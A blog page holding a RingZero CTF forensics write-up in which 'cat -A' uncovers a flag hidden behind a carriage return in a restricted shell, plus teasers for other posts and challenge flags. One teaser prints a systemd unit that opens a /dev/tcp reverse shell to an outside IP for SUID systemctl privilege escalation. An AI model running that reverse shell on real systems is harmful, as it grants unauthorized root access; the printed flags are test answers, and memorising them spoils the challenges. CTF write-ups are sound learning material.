Skip to main content

RingZero CTF - Forensics - I Love cat

RingZero CTF - Forensics - I Love cat


Objective:
I love cat! Do you?

User: cat
Password: cat
ssh challenges.ringzer0team.com port 10252

Solution:


So let's start up and SSH to challenges.ringzer0team.com on port 10252

Login as            cat
pass                  cat


Lets start by seeing what is in our directory

cat@lxc-forensics-252:~$ ls
commands  flag.txt


is it as easy as just catting the flag.txt file?

cat@lxc-forensics-252:~$ cat flag.txt
**************************** WHERE IS THE FLAG ? ****************************


Nope lets see what else is in the directory

cat@lxc-forensics-252:~$ ls -al
total 20
drwxr-xr-x 3 root root 4096 Jul 17 18:36 .
drwxr-xr-x 3 root root 4096 Jul 17 18:23 ..
-rw-r--r-- 1 root root  221 Jul 17 18:30 .bash_profile
drwxr-xr-x 2 cat  cat  4096 Jul 17 18:25 commands
-rw-r--r-- 1 root root  116 Jul 17 18:36 flag.txt

a directory name commands

cat@lxc-forensics-252:~$ cd commands/
-rbash: cd: restricted

lets try to ls the directoy
cat@lxc-forensics-252:~$ ls ./commands/
cat  ls


ok we only can use cat and LS

let's check out  the cat man to see if we might get some help there


CAT(1)                          User Commands                         CAT(1)

NAME         top

       cat - concatenate files and print on the standard output

SYNOPSIS         top

       cat [OPTION]... [FILE]...

DESCRIPTION         top

       Concatenate FILE(s) to standard output.

       With no FILE, or when FILE is -, read standard input.

       -A, --show-all
              equivalent to -vET




CAT(1)                          User Commands                         CAT(1)




NAME         top


       cat - concatenate files and print on the standard output




SYNOPSIS         top


       cat [OPTION]... [FILE]...




DESCRIPTION         top


       Concatenate FILE(s) to standard output.

       With no FILE, or when FILE is -, read standard input.

       -A, --show-all
              equivalent to -vET






That -A looks interesting 






Let's try cat with -A on flag.txt










cat@lxc-forensics-252:~$ cat -A flag.txt
FLAG-0K14eDrm4t5g7KD54X8Dl3NNcZ956oCK^M**************************** WHERE IS THE FLAG ? ****************************$











Bam we got the flag






FLAG-0K14eDrm4t5g7KD54X8Dl3NNcZ956oCK




Labels:

Comments

Post a Comment

Popular posts from this blog

RingZero CTF - Forensics - Who am I part 2

RingZero CTF - Forensics -  Who am I part 2 Objective: I'm the proud owner of this website. Can you verify that? Solution: Well it took me a bit to figure this one out. I tried looking at the whois records for ringzer0ctf.com I tired looking at the DNS records for the site. I even looked in the Certificate for the site. Then I thought a little be more about the question. It's not asking how I can verify who own the site. It wants me to verify the owner themselves. Luckily at the bottom the page we see who is listed as on the twittter feeds @ringzer0CTF and @ MrUnik0d3r lets check if we can find the PGP for MrUniK0d3r online. I googled PGP and MrUn1k0d3r The very first result is his PGP  keybase.txt with his PGP at the bottom of the file is the flag FLAG-7A7i0V2438xL95z2X2Z321p30D8T433Z
Post a Comment
Read more

Abusing systemctl SUID for reverse shell

Today I came across a box that had the SUID set for systemctl connected as the apache user www-data I was able to get a root reverse shell. This is to document how to use this for privilege escalation. I used a bit from this blog https://carvesystems.com/news/contest-exploiting-misconfigured-sudo/ and a bit from here too https://hosakacorp.net/p/systemd-user.html Step1. Create a fake service I named my LegitService.service I placed it in the /tmp directory on the server. [Unit] UNIT=LegitService Description=Black magic happening, avert your eyes [Service] RemainAfterExit=yes Type=simple ExecStart=/bin/bash -c "exec 5<>/dev/tcp/10.2.21.243/5555; cat <&5 | while read line; do $line 2>&5 >&5; done" [Install] WantedBy=default.target Then in order to add this to a place we can use systemctl to call from I created a link from /tmp, since I didn't have permission to put the file in the normal systemd folders systemctl link /tmp/LegitService.service The
Post a Comment
Read more

HacktheBox - Retired - Frolic

HacktheBox - Retired - Frolic Recon Let's start out with a threader3000 scan Some interesting results here Port 22 and 445 aren't uncommon… but 1880 and 9999 are.. Let's let nmap run through these ports  Option Selection: 1 nmap -p22,445,1880,9999 -sV -sC -T4 -Pn -oA 10.10.10.111 10.10.10.111 Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-05 16:17 EDT Nmap scan report for 10.10.10.111 Host is up (0.060s latency). PORT     STATE SERVICE     VERSION 22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: |   2048 87:7b:91:2a:0f:11:b6:57:1e:cb:9f:77:cf:35:e2:21 (RSA) |   256 b7:9b:06:dd:c2:5e:28:44:78:41:1e:67:7d:1e:b7:62 (ECDSA) |_  256 21:cf:16:6d:82:a4:30:c3:c6:9c:d7:38:ba:b5:02:b0 (ED25519) 445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP) 1880/tcp open  http        Node.js (Express middlewar
Post a Comment
Read more